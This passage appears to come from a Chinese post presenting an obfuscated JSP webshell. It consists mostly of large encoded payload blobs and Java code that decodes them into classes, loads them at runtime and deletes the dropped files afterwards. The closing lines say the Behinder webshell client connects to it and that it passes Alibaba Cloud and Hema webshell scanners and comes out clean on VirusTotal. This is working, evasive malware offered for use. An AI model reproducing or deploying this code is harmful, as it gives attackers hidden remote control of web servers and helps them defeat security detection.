ObHvpSzsab8f5k5UHR082ty2LiXtHUx+v0aeMyuLze4+1mv0DdxMHw8nPpHPnL2NL+df1ay9Td7fULkAW4kLWChW3xRdmIx+f4cuJazN6b0ulo5Fbb093t9UP/XtnO2oObH/pSzsab8f5k5UHR082t2Gj0VuvIwfD4YpEzmfz46Ppx8RzLwtf36W7kSpfE0fDvKNNWytPd5PJk8UfdnLiCjweoP7iztLuXB6ozg6a0kfFm5lKXy9Xs/CjVS9vCxPbyaP4yuIfe4+1mv1/ZydOt2GvxQMvp2/bdaOVd3OLM4f535FrXybiCjwesMriz7Mqjf9lp9Zb+0L9B52Pq9tHM03eRM7Hhw9LJVvV98Ne1gpdO/l3d1ffu+nTjVsumtJfxZuZSl8vV7Pwo01/Z1MfO9Gb0VsqmtIjDT6hL8f35s9FVkTOx697YyUupfNn+tYKNL9xZ2dHVrfdm/lSX9MDw8mn3CJH89oObBPFX3Ka0n7NL+lLOxpvx/mTlQdHTza3LYuJe0dTH6/RpqxruprSws0v6Us7Gm+z+c79m6uuP2ddt8UXZiMfn+HLiWszem+H+deQc+8LG9vJh+VDZ09G5slGRM8qP+Oj6cfEcy8LX9+lu5EqX5Nvm/lT/RsrE0bnXbfFF2YjH5/hy4lrM3pvS/nX9WsvU3e31RP9f1MLX9vJo/gj0zdX0+ij8UtbAm8H3ZuNA9MjV5v51q2j0zdX0+ijjVtvSxuvvfr9jys7a4fJ38V+DjuKDmwz0Vt7O2ufYa/FAy6a0y7NL+lLOxpvu+mn3HOvTxuv1YKto+u79zvFm5lKX1NHh7nX5R8GI5PD0c/VQzM7b7N9o/VLRyY+r123xRdmI2OP1YL9w1MbH8aAGkBmQ697j7Wa/X9nJ063Ic+Ja1sCPzvFm5lKXy9Xs/CjEW8rIw+P5a/UIkfG0opsVkCC4p7SCmwWQM7iztJebBpAluKe0n5sGkDK4p7SHsbCQMgmntIKaB4czuKeygpoHkDO3p7CCgweJM7qnooKbBxgzvqexgpsH2CG6H7SB1ryQN+EQtIfVKiszvv4DgpyxkDsDp73bIAeaarmmdIKQsJA/lY21NZsKqjeSppiBt7mJNw6nujLWvJAj4YyYNZsWLzO5p7SCpwetM7entoKMB5AzoqeygpsHgjO+p6eClQeEM6GnoYKqB4czhaesgoEHkDO+p7X/nAeLM6SntIKfB5EzqKe2goYHkDO6p6qCqgeQM7KntYKJB7EziKe8"));

Jcwi4uzmW2[((925206 ^ 692002) ^ (315173 ^ 24080))] = QK63LSFZH3U(DnXRCI4hiC("SGW9LjO4p4CCrw2QPLi9vYKVB4s0uLu+gpgHjTS4ub6CngeNObiktJ2cB7A0uIazgrkNkDq4hL6Ckwe0ObiptKecB7c0uI21gpxU9V3JkoawmgeSaPqmtISnbv5azJm1gocv3FnZ0dWt92b+VJfk2OPodNxc2cPR8KBc0hruprSG2Gj0Vrmnu87yafV9zcrW5+lT8VHUwrWCk1PDXvbW8barBpAgkI746Ppx8RzUxtrltET8UsvUj4ObDcNczdXX591u/Fa5p7va0z/oeuLqhcjJKfpSzsa4gokHuz+4t7STmgeJWdnR1a3oYvNGys7A+7RX9UHVzsfx8mj+QLSnpoK3BpAo0sbC47R09VDN1d324ijRX9T30fD2buNA0cjajpsqkB25p6ro+nHxHMvC1/fpbuRKl/fG7e9i80fRyNrG9GrxWtamtJrxZuZSl9TR4e51+UfBiPft/2LDXM3V1+eaB7Fo9M3V9Poo41bb0sbr736/UN3VwK3YYuJH0cHd4fpz9Qi0p6aCtAuQIbiXuIKqB6I0uJS1go5f2AvA7u7Pqk3CF/fWgdP1csZX4f+1gpFI4QbpycHU/17IMrir/ez1YuJw1MbH8f50kTOtzdX0+ij8UtbAm8H3ZuNA9MjV5v51kTOij/jo+nHxHNTG2uW0RPxSy9T47fpj9UGDjuKDmwS4Gu6mtIH6Y/QyuLqczvFm5lKX1NHh7nX5R8GI5OfpavlAy87b7KAuxjK4lZzO8WbmUpfJ0fa0UsJ/g/z46Ppx8RzLwtf36W7kSpfE0fDvKNNWytPd5PJk8UfdnJ3UmgfiG/TN1fT6KONW29LG6+9+v3DXw9HR9HLiUN2c+Oj6cfEcy8LX9+lu5EqX99Hw9m7jQNHI2sH0a/xW29Pd7fU83FnZ0dWt92b+VJfk2OPodNxc2cPR8KBc3FnZ0dWt6GLzRsrOwPu0V+Ja1sTd8vprqxruprSJ/2L2WtbC9+76dOMyuO6czvFm5lKXy9Xs/CjDR8rO2uWgXNJ68eve4+1mv0DdxMHw8nPpHOjV2/b+ZORa18nw7fZm+V2Djvjo+nHxHNTG2uW0RPxSy9SPg5sNyHuA3/3Y1jbaYbiHtIybCJAzuKa0gJsXkCK4p7SAmweQIbi0tIObE5AzuIS0gJsEkDO4rJ6pLAeRGZQStIAqB5AzuaehgpsHljO5p7SChgeRM66no4KaB4QzuKfrgp0HkzO4p485mwTJhLij+KkgB5VqD6eyNJsAKzOw/g+Ckl6RMninvjWbDLsZuRC0jtYtkRkMp7aBsbOQMQaLAoKWt5AzuKa0l5sHkCG4o7SCmxiQO7iHtJGbJpAZuIS0gJsfkDO4pbSbmy6QM7ittIObCZAVuI+0ig=="));

Jcwi4uzmW2[((171942 ^ 970127) ^ (902325 ^ 104094))] = QK63LSFZH3U(DnXRCI4hiC("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"));

String[] LFqk467s1XD = new String[]{new String(SSxyjQ31(Hjc9LVC2("2929501e3d2835523b334c2003222a32172c2117"))), new String(SSxyjQ31(Hjc9LVC2("2929501e3d2835523b334c290547290d07340d3e2d"))), new String(SSxyjQ31(Hjc9LVC2("2929501e3d2835523b33")))};

String[] CUnPPy0I = PqpNVGMrer(Jcwi4uzmW2, request, LFqk467s1XD);

String Udr86ZfnN = new java.io.File(CUnPPy0I[((681128 ^ 317220) ^ (714867 ^ 285695))]).getParent().replace("\\", "/") + "/";

String Pz6cwB61gQH = new String(SSxyjQ31(Hjc9LVC2("170804034e5d57")));

java.net.URL[] CaHCPPKY6g = { new java.net.URI(Pz6cwB61gQH + Udr86ZfnN).toURL() };

try (java.net.URLClassLoader Hb2I4ndZ4s = new java.net.URLClassLoader(CaHCPPKY6g, Thread.currentThread().getContextClassLoader())) {

for (String Ni6sEg3 : LFqk467s1XD) {

Class<?> ECPU6zUjzg = Hb2I4ndZ4s.loadClass(Ni6sEg3);

if (ECPU6zUjzg.getName().equals(new String(SSxyjQ31(Hjc9LVC2("2929501e3d2835523b33"))))) {

ECPU6zUjzg.getConstructor(HttpServletRequest.class, HttpSession.class, PageContext.class).newInstance(request, session, pageContext);

}

}

new java.io.File(CUnPPy0I[((326441 ^ 952547) ^ (344316 ^ 996150))]).delete();

new java.io.File(CUnPPy0I[((444519 ^ 911984) ^ (254721 ^ 573719))]).delete();

new java.io.File(CUnPPy0I[((926952 ^ 724932) ^ (102973 ^ 309523))]).delete();

}

} catch (Exception e) {

throw new RuntimeException(e);

}

%>

冰蝎也是可以成功连接上

免杀效果
阿里云web shell检测

VirusTotal全白

河马WebShell查杀